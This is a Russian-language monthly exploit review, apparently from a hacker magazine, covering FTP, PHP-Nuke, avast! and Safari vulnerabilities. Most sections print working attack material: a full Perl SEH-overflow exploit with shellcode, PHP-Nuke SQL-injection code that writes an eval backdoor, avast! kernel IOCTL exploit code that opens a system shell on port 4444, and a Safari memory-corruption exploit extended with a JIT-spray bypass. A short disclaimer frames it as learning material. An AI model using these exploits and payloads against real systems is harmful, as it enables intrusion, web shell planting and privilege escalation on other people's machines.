Этот месяц был не таким плодотворным на качественные эксплойты, видимо погода сделала свое дело – кому охота сидеть за дебаггером, когда на улице солнце. Но все же кое-что интересное я для вас подготовил. И помните, все это не для того, чтобы нарушать статьи УК РФ, а для того, чтобы учится на чужих ошибках и быть в курсе актуальных угроз.

 

Выход за пределы домашней директории в WFTPD Server

 

CVE

  • N/A
 

TARGETS

  • *WFTPD Server 3.30
 

BRIEF

WFTPD Server – FTP-сервер для ОС Windows (кстати, не бесплатный). Данная программа содержит очень характерную ошибку. Аналогичную ошибку находили и в других FTP-серверах от таких именитых производителей как Cisco, HTC, Serv-U и многих других. Поэтому не лишним будет еще раз обратить внимание на классические просчеты программистов.

 

EXPLOIT

Логика FTP-сервиса в том, что у каждого пользователя есть своя директория, и работать он должен в своей рабочей папке. Понятно, что это дело должно быть защищено. Программисты – люди не глупые, и последовательность “../” фильтруют.

MKD ../../../../../ZLOBA
550 You do not have rights to create that subdirectory.

Но невнимательность губит любое хорошее начинание. Так, например, следующий запрос выполнится без проблем:

MKD c:\zloba
257 "c:\zloba" directory created

Что ж, очевидно, что кроме относительного пути, можно указать и абсолютный. Будь внимателен.

 

SOLUTION

Решения нет. Разве только не использовать WFTPD для многопользовательского доступа по FTP.

 

Переполнение буфера в Rumba FTP Client

 

CVE

  • N/A
 

TARGETS

  • * Rumba FTP Client 4.2
 

BRIEF

Что ж, ошибки бывают не только в платных FTP-серверах, но и в платных FTP-клиентах. Уязвимость переполнения буфера – вот что хранит в себе этот клиент.

 

EXPLOIT

Эксплойт представляет собой симулятор FTP-сервера, который отвечает на некоторые команды и ждет, когда же у него спросят листинг файлов. И в момент, когда клиент это сделает, сервер-эксплойт пошлет (в пассивном режиме, поэтому если использовать эксплойт удаленно, нужно поменять переменную $pasvip) имя файла, причем очень длинное. Настолько длинное, что перезапишет SEH-дескриптор и вызовет исключительную ситуацию. Естественно, что, обрабатывая исключительную ситуацию, клиент перейдет в SEH-цепочку, вершину который мы перезаписали. Так что «обработчиком» исключительной ситуации станет наш шелл-код, который запускает калькулятор. Разберем эксплойт:

use warnings;
use strict;
use IO::Socket;
my $sock = IO::Socket::INET->new( LocalPort => '21', Proto => 'tcp', Listen => '1' )
or die "Socket Not Created $!\n";
#Приветственное сообщение
print
"#############################################################\n"
. "# Rumba ftp Client 4.2 PASV BoF (SEH) #\n"
. "# By: zombiefx #\n"
. "# Listening on port 21 with pasv port of 31337 #\n"
. "#############################################################\n";
#IP для пассивного режима
my $pasvip = "127,0,0,1";
#Обработка соединения
while ( my $data = $sock->accept() ) {
print "Client Connected!\nAwaiting Ftp commands: \n";
print $data "220 Gangsta Rap Made Me Do It\r\n";

#Обработка команд – симуляция FTP
while (<$data>) {
print;
print $data "331 Anonymous access allowed\r\n" if (/USER/i);
print $data "230-Welcome to N0 M4Ns l4nd.\r\n230 User logged in.\r\n" if (/PASS/i);
print $data "215 UNIX Type: L8 \r\n" if (/SYST/i);
print $data "257 \"/\" is current directory.\r\n" if (/PWD/i);
print $data "200 Type set to I.\r\n" if (/TYPE I/i);
print $data "200 Type set to A.\r\n" if (/TYPE A/i);
print $data "214 Syntax: SITE - (site-specific commands)\r\n" if (/HELP/i);
#Готовимся к передаче…
print $data "227 Entering Passive Mode ($pasvip,122,105)\r\n" if (/PASV/i);
#Запрос листинга директории, вызываем основную функцию
if (/LIST/i) {
print $data "150 Here comes the directory listing.\r\n" . "226 Directory send OK.\r\n";
&senddata( '122', '105' );
}

}
print "Payload delivered check the client!\n";
}
#Основная функция
sub senddata {
my $port = $_[0] * 256 + $_[1];
#Ждем клиента для пересылки
my $pasvsock = IO::Socket::INET->new( LocalPort => $port, Proto => 'tcp', Listen => '1' );
my $pasvdata = $pasvsock->accept();
#Первые 1351 байт – мусор
my $junk = "\x77" x 1351;
#Перезаписываем SEH-дескриптор адресом 0x1006E534
#по этому адресу – ftplogic.dll и инструкции,
#POP EDI/POP ESI/RETN
#которые вернут нас в стек
my $seh = pack( 'V', 0x1006E534 );# located in ftplogic.dll
#Это инструкция JMP +0x8,
#так как следующие несколько байтов будут испорчены
my $nseh = "\xeb\x06\x90\x90";
#шелл-код, на который будет прыжок на пятый NOP из-за предыдущей инструкции:
my $nops = "\x90" x 50;
my $calcshell =
"\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49"
. "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
. "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
. "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
. "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"
. "\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47"
. "\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c"
. "\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a"
. "\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50"
. "\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43"
. "\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a"
. "\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c"
. "\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44"
. "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c"
. "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47"
. "\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50"
. "\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44"
. "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43"
. "\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42"
. "\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b"
. "\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45"
. "\x31\x42\x4c\x42\x43\x45\x50\x41\x41";

my $payload = $junk . $nseh . $seh . $nops . $calcshell;

print $pasvdata
"-rw-rw-r-- 1 1176 1176 1060 Apr 23 23:17 test.$payload\r\n\r\n";
}

Эксплойт работает стабильно, правда, понятно, что с DEP он работать не будет.

 

SOLUTION

Обновить ПО, хотя автор думает, что и новая версия тоже уязвима. Так что лучше не использовать его вообще...

 

Множественные уязвимости в PHPNuke

 

CVE

  • N/A
 

TARGETS

  • PHP-Nuke 7.0
  • PHP-Nuke 8.1
  • PHP-Nuke 8.1.35
 

BRIEF

Прошедший месяц оказался для создателей PHP-Nuke не очень приятным. Что неудивительно, ведь в их детище был найден целый букет уязвимостей. Исследователь Майкл Брукс (Michael Brooks) опубликовал эксплойт, который, используя уязвимости LFI, SQL-инъекции, раскрытия пути, как результат, заливает бэкдор на сервер. Кроме того, этот эксплойт не обошел стороной и старые уязвимости, включая ошибку phpBB, которая может присутствовать в PHP-Nuke 7.0. Программа Брукса написана на PHP и поддерживает использование прокси, а в комментариях даны гугль-хак советы, что делает этот эксплойт крайне неприятным и может использоваться не только скрипт-киддисами, но и червяками.

 

EXPLOIT

Весь код эксплойта занимает полтысячи строк кода, и поэтому целиком его я тут приводить не буду, лишь интересные кусочки. Разумеется, полную версию эксплойта ты всегда сможешь найти на нашем диске, но исключительно в целях самопроверки. Ведь PHP-Nuke достаточно популярный движок, поэтому стоит провериться. Вдруг ты в опасности? Ладно, хватит лирики, приступаем к делу. Эксплойт запускается элементарно:

"c:\Program Files\PHP\php.exe" nuke.php -t http://<target_site>

Для эксплуатации последней версии PHP-Nuke нужна хоть какая-то учетная запись, поэтому эксплойт требует cookie:

"c:\Program Files\PHP\php.exe" nuke.php -t http://<target_site> -c user=MjphZG1pbjo1ZjRkY2MzYjVhYTc2NWQ2MWQ4MzI3ZGViODgyY2Y5OToxMDo6MDowOjA6MDo6NDA5Ng==

В эксплойт встроена собственная функция для работы со слепыми инъекциями, кодировки строк и т.д. Так что получается мощный зверь.

В качестве тестового примера, я попробовал найти инъекцию и получить хэш админа с помощью этого эксплойта. Найдя относительно заброшенный сайт на этом движке, проверим старую инъекцию, в поле referer:

REFERER: '=(select if(true,sleep(10),0) from nuke_authors limit 1))-- 1

Эксплойт Брукса использует эту уязвимость для получения хэша и формирования cookie для дальнейшей заливки шелла через другую инъекцию, уже новую, но требующую прав администратора, а затем открывает бэкдор через LFI-баг. Конечно, если есть регистрация, можно просто зарегистрироваться и использовать уже другую уязвимость (из арсенала эксплойта) для получения учетки админа и заливки бэкдора. Эксплойт обходит встроенные фильтры защиты от инъекций, а также правила по умолчанию AppArmor’а для Ubunta.

Код заливки бэкдора:

print "Uploading backdoor...\n";
$remote_path=addslashes(addslashes($remote_path."\\frontend.php"));
$backdoor='get_magic_quotes_gpc()?eval(stripslashes($_GET["e"])):eval($_GET["e"])';
$http->postdata="chng_uid=".urlencode("' union/**/ select ".$sex->charEncode("<?php").",'".$backdoor."',".$sex->charEncode("?>").",'','','','','','','','','','','','','','','' into outfile '".$remote_path."'-- 1");
$re=$http->send($attack_url."/admin.php?op=modifyUser");
$http->postdata="xsitename=".$values[0]."&xnukeurl=".$values[1]."&xslogan=".$values[2]."&xstartdate=".$values[3]."&xadmingraphic=".$values[4]."&xgfx_chk=0&xnuke_editor=1&xdisplay_errors=0&op=savegeneral";
$error_reporting=$http->send($attack_url."/admin.php");

Функция charEncode () кодирует символы для использования char() в MySQL. Это сделано, чтобы обойти фильтры. Далее эксплойт открывает бэкдор:

$http->postdata="xDefault_Theme=../../../../../../../../../../../tmp&xoverwrite_theme=0&op=savethemes";
$http->send($attack_url."/admin.php");

Заливка трояна в /tmp как раз и позволяет обмануть AppArmor.

 

SOLUTION

Решения пока нет, автор предлагает вообще отказаться от использования PHP-Nuke, мотивируя это тем, что там очень плохо с безопасностью, и много уязвимостей еще будет найдено.

 

Повышение привилегий в avast!

 

CVE

  • CVE-2008-1625
 

TARGETS

  • avast! 4.7 Professional Edition
  • avast! 4.7 Home Edition
 

BRIEF

Матэо Меиелли (Matteo Memelli) из Offensive-Security порадовал нас отличным эксплойтом для антивируса «avast!». Уязвимость, найденная Тобиасом Клейном (Tobias Klein), кроется в драйвере антивируса, который криво обрабатывает IOCTL-запросы. Так как драйвер – дело низкоуровневое, то очевидно, что после эксплуатации уязвимости мы получаем права системы. Таким образом, можно поднять свои привилегии в ОС с помощью данного драйвера и уязвимости в нем.

 

EXPLOIT

Итак, для того, чтобы воспользоваться уязвимостью, достаточно лишь запустить эксплойт и молиться :). Ошибка обнаружена в драйвере aavmker4.sys. Дело в том, что драйвер может обрабатывать IOCTL-запросы без проверки валидности данных, а конкретнее, IOCTL 0xb2d60030, позволяет копировать любые данные по любому адресу:

mov ecx, 21Ah ; размер
mov edi, [eax+18h] ; EAX+0x18 – отсюда берем адрес, куда копировать
rep movsd ; копируем в EDI, то есть куда захотим

Чтобы использовать эту ошибку, был найден указатель на функцию со статическим сдвигом от базового адреса. Именно этот адрес и перезаписывается на адрес шелл-кода, который передается в буфере запроса. Но сначала надо сделать так, что бы EAX указывал на наши данные.

mov eax, [ebp+v38_uc]

Как видно, данные берутся по статическому сдвигу. Прежде чем начать перезапись, эксплойт сохраняет по этому сдвигу специально подготовленные данные так, чтобы уязвимая функция скушала их, и в итоге EAX+0x18 содержал указатель на перезаписываемую нами область памяти с адресом функции. Чтобы осуществить запись в .data, используется IOCTL-запрос 0xb2d6001c. После того, как данные сохранены, вызывается уже наш IOCTL 0xb2d60030, который перезаписывает указатель на функцию, используя предварительно сохраненные в .data адреса. После этого провоцируется вызов функции с перезаписанным указателем – IOCTL 0xb2d60020. Кроме того, эксплойт должен спровоцировать вызов syscall. Для этого он тупо пытается выполнить аутентификацию в системе:

lsas1 = "echo hola | runas /user:administrator cmd.exe > NUL"
lsas2 = "net use \\\\127.0.0.1 /user:administrator test > NUL"
. . .
os.system(lsas1)
time.sleep(1)
os.system(lsas2)

В итоге шелл-код выполнится-таки в нужном контексте. Можно подсоединяться на порт 4444, чтобы получить системный шелл.

Формат входных данных в эксплойте:

#Адрес, где будут лежать данные,
#сохраненные первым IOCTL-запросом
read_data_from= struct.pack('L', sysbase+0x2e04)
#Адрес буфера с шеллкодом, точнее указатель на NOP’ы
r0_address = struct.pack('L', sysbase+0x23fa)
#Формируем первый буфер
#Этот буфер будет входным параметром для
#вызова IOCTL 0xb2d6003
#Адрес шелл-кода, указатель на NOP, которые идут за ним
evil_input = r0_address*2 + "\x90"*0x102
#Шелл-код цепочка, вывод в ring3 и открытие шелла на 4444 порту
evil_input += ring0_migrate + ring0_msr + ring3_stager + ring3_shellcode
#Не важно
evil_input += "\x41"*0x549
#Указатель на сохраненный в .data буфер, откуда будут читаться
#данные для этого IOCTL
evil_input += read_data_from + "\x42\x42\x42\x42"
#Формируем первый буфер, который будет сохранен в .data
#c помощью первого IOCTL-запроса.
#Отсюда будут браться данные для второго IOCTL
#Выравнивание
stor_input = "\x43\x43\x43\x43"
#Эти данные нужны, чтобы функция, обрабатывающая
#второй IOCTL ничего не заподозрила
stor_input += "\x07\xAD\xDE\xD0" # cmp dword ptr [eax], 0D0DEAD07h
stor_input += "\xBA\xD0\xBA\x10" # cmp dword ptr [eax+4], 10BAD0BAh
#Выравнивание
stor_input += "\x44\x44\x44\x44"*2
#Указатель для nt!KeSetEvent, который сработает после записи
#главное, чтобы значение по этому указателю было не равно единице
#так что наш указатель подходит
stor_input += read_data_from
#Выравнивание
stor_input += "\x44\x44\x44\x44"
#Со сдвигом в 0x2300 байт от базового адреса
#лежит указатель на функцию, который надо переписать
#уязвимая функция обрабатывающая второй IOCTL
#перепишет память по этому указателю
#так что укажем на адрес этой функции
stor_input += struct.pack('L', sysbase+0x2300) + "\x45"*414

Эксплойт разбивается на потоки, и там засыпает на минуту. Пока идет ожидание, посылаются два IOCTL-запроса. Первый сохраняет по адресу read_data_from, буфер stor_input. Второй запрос отправляет шелл-код и адрес read_data_from, откуда читать данные для обработки функции – evil_input.

dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0xb2d6001c, stor_input,
stor_size, stor_output, out_size,
byref(dwReturn1), None)
dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0xb2d60030,
evil_input, evil_size, evil_output,
evil_size,
byref(dwReturn2), None)

А дальше провоцируем переход с помощью IOCTL-запроса 0xb2d60020 и syscall c помощью lsass.exe. Только после того, как шелл-код закончит работу, lsass.exe умрет и отправит за собой всю ОС в перезагрузку.

 

SOLUTION

Обновление антивируса до версии 4.8 может уберечь от данной проблемы.

 

Выполнение произвольного кода в Apple Safari

 

CVE

  • N/A
 

TARGETS

  • Apple Safari <= 4.0.5
 

BRIEF

Начнем наш обзор с 0day уязвимости в браузере Safari. Уязвимость обнаружил Кристиан Клосковски (Krystian Kloskowski) и незамедлительно опубликовал эксплойт для последней версии яблочного браузера. Ответных действий от Apple в виде патча пока не последовало.

 

EXPLOIT

Эксплойт представляет собой обыкновенный HTML-файл c JavaScript-кодом. Уязвимость кроется в методе parent.close(), который способен повредить память процесса, что, в итоге, может передать управление злобному шелл-коду. В примере Кристиана – шелл-код запускает калькулятор, но ты же понимаешь, что заменить шелл-код – дело пустяковое. Чтобы эксплойт работал удаленно, необходимо существование родительского объекта. Для этого в эксплойте предлагается первоначально использовать метод window.open(), который откроет HTML с эксплойтом. А для этого нужно, чтобы у жертвы были разрешены всплывающие окна.

Фишка же самого эксплойта в том, что происходит вызов метода close() для родительского объекта, а затем вызов метода prompt() для того же объекта. Так как parent-объект уже «закрыт», у Safari возникает «разрыв шаблона», то есть ошибка в памяти, в результате которой, при обработке метода prompt(), происходит перезапись регистра ESI значением, которое будет браться из ошибочного места. После записи регистра идет вызов по адресу из этого регистра – CALL ESI. Кристиан в своем эксплойте использует до вызова close() еще пару вызовов prompt(), чтобы «сдвинуть» указатель ESI для принятия значения 0x40E00000. Осталось подготовить шелл-код, чтобы он разместился по адресу 0x40E00000. Тут вступает в дело классический heap spray, что приводит к заполнению адресного пространства процесса, включая адрес 0x40E00000, нашим шелл-кодом. Таким образом, жертва открывает страничку, видит окошко, сгенерированное методом prompt(), пытается закрыть его по ALT+F4, видит второе окошко, которое опять закрывает и в результате – pwned после close() и уже не отобразившего окошка, третьего вызова prompt().

Рассмотрим код эксплойта:

//Функция генерит большую строку
function make_buf(payload, len) {
while(payload.length < (len * 2)) payload += payload;
payload = payload.substring(0, len);
return payload;
}

var shellcode = … //тут шелл-код

/*А тут вырезан heap spray – экономия краски*/

var a = parent; //указатель на родительский объект
var buf = make_buf("AAAA", 10000); //генерим строку

for(var i = 0; i <= 1; i++) { //Эксплойт, ошибка возникнет при втором проходе
a.prompt(alert);
a.prompt(buf);
a.close();
}

Недостаток эксплойта в том, что Safari у нас работает в режиме permanent-DEP, и шеллкод из кучи исполняться не будет. Компания VUPEN разработала коммерческий эксплойт, который обходит permanent-DEP. Ну, мы же кул-хацкеры – сделаем так, чтобы он еще, кроме DEP, и ASLR обходил. Я не знаю, как сделали ребята из компании VUPEN (догадываюсь, что с помощью ROP), но для ASLR этого мало (в данном случае), поэтому я воспользуюсь техникой JIT-SPRAY и одним из шеллкодов, который я же и разработал (себя не похвалишь – никто не похвалит :)). Мой шеллкод открывает блокнот.

Итак, суть проста – заменяем heap spray (который, кстати, жестко палится антивирусами) на JIT-SPRAY. Но не все так легко, как казалось. Если вставить флеш-объект на ту же страницу или даже на родительскую, то при вызове parent.close() вся память, выделенная для Flash, очистится. Тогда я придумал углубить цепочку «наследования». Первая страница грузит JIT-SPRAY и делает открытие в новом окошке второй, вторая страница ничего не делает, кроме как открывает третью. А уже третья страница открывает четвертую – с эксплойтом, но без heap spray. Все страницы в Safari – обрабатывает один процесс, так что память общая. Но адрес 0x40E00000 меня также не устраивает, кто читал мою статью про JIT SPRAY в апрельском ][, тот помнит, что нам нужен адрес вида 0xXXYY0101, чтобы попасть в JIT-шеллкод. Немного побаловавшись с параметром, я нашел ситуацию, когда указатель ESI переписывается значением, генерируемым в качестве параметра метода parent().

var buf = make_buf(unescape('%u0101%u0943'), 38000);

Теперь мы можем передать управление по точному адресу. Я выбрал 0x09430101. Там как раз наш шеллкод. Вот и все.

 

SOLUTION

Решения пока нет. Разве что отключить JavaScript- и Pop-Up окошки (а вот это в Safari уже сделано по умолчанию).

Check Also

DDoS на Bluetooth. Разбираем трюк, который поможет отключить чужую колонку

На свете существует не так много вещей, которые бесят практически всех без исключения. Это…

Оставить мнение